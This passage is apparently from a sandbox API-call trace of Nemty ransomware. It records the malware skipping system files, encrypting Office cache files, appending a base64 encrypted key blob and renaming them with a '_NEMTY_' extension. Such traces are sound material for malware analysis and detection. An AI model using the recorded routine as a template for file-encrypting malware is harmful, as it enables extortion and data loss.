lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed80, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0050.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94240 [0050.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942f8 [0050.647] Sleep (dwMilliseconds=0x5) [0050.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1db1810, dwHighDateTime=0x1d561e7)) [0050.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1db1810, dwHighDateTime=0x1d561e7)) [0050.651] GetLastError () returned 0x0 [0050.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.651] GetLastError () returned 0x0 [0050.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0050.651] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0050.651] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0050.651] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0050.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0050.652] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="R3iNnIPeyg7CqLRRX++KWUFBYxIjPAItf+JuK8umAEUYRH3prsxVBfeflYK3bZ1c\r\nEqVNXep/JIztGnWbs3WcpTN4eZdFS4C72RvcvHPydfrVcijo0sNmaLidGW4HIBaw\r\nqJl9d/sp7KQyF0KhaZkyuwc5QXIGCYntbzm5emUdzVshQsB7RhwRkHcik9dFyXGk\r\ncsSw1kXVchEjMt0WSBhLxooW5P0BmEO7ZzwEmUhu7dj6DCXK8AMolktL3h+H5N46\r\nwk8uWa8jW8/R7ddqsjzGs+o7Edtp5VXcjovatbVHh9beK452xIUbnthZX1v7nyNl\r\nwQGtYmN/7JOVYw/5OmlIYA==\r\n", pcchString=0x653ef9c) returned 1 [0050.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0050.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0050.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0050.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0050.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0050.652] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0050.653] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=715834) returned 1 [0050.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0050.653] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.653] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0050.682] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.682] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0050.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.685] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=715834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaec3a [0050.685] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0050.686] CloseHandle (hObject=0x3c8) returned 1 [0050.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0050.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0050.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0050.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0050.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0050.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0050.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0050.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0050.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0050.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0050.697] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms._nemty_kgobjgd_")) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f8 | out: hHeap=0x4f90000) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.698] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2=".") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="..") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="...") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="windows") returned -1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="$RECYCLE.BIN") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="rsa") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="NTDETECT.COM") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="ntldr") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="MSDOS.SYS") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="IO.SYS") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="boot.ini") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="boot.ini") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="AUTOEXEC.BAT") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="ntuser.dat") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="desktop.ini") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="CONFIG.SYS") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="RECYCLER") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="BOOTSECT.BAK") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="bootmgr") returned 1 [0050.698] lstrcmpiW (lpString1="setup.exe", lpString2="programdata") returned 1 [0050.699] lstrcmpiW (lpString1="setup.exe", lpString2="appdata") returned 1 [0050.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0050.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0050.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0050.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0050.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0050.699] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0050.699] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0050.700] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0050.700] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0050.700] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0050.700] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0050.700] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0050.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0050.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0050.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0050.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0050.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0050.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.700] Sleep (dwMilliseconds=0x5) [0050.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1e49d90, dwHighDateTime=0x1d561e7)) [0050.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1e49d90, dwHighDateTime=0x1d561e7)) [0050.713] GetLastError () returned 0x0 [0050.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.714] GetLastError () returned 0x0 [0050.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.714] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0050.714] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0050.714] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0050.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0050.714] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="XnKEY8gKpWTsZqhG8SC7nUe525EMhjubxaepZBRqKIYd7yLS8gpCDY+GIfUi2qDP\r\neEd45xYpK+fgYUQkFV6ILW+0LH6zW2RZtHhQP10L1knZwyqO7GPUDjiyf1KN9Q5g\r\nJ79G76M/iSYbWnM/mBqS7sYm12qTRSDbiH2fURKvsjOoAsJ6NpkwjrGhQyKyGkJg\r\ncBm1r8tUJEDiRgeAo2rQ54EmkvfHoaXDB/mZVT4Zw2F3WTTD+7IHtH0f57OiEI6F\r\nkJM7rMeDOi5OM9TBNOeFglhhzfq5K/dcMCxi+kMsm7Pco80zV5lUu+pibOCi7roJ\r\nsR/ZISaMnjEP5akEw2QGQw==\r\n", pcchString=0x653ef9c) returned 1 [0050.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0050.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0050.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0050.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0050.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0050.715] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=20577) returned 1 [0050.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5060) returned 0x6346d48 [0050.715] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.715] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x5060, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x5060, lpOverlapped=0x0) returned 1 [0050.718] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.718] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x5060, lpOverlapped=0x0) returned 1 [0050.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.718] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=20577, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5061 [0050.718] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0050.718] CloseHandle (hObject=0x3c8) returned 1 [0050.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0050.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0050.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0050.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0050.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0050.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0050.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 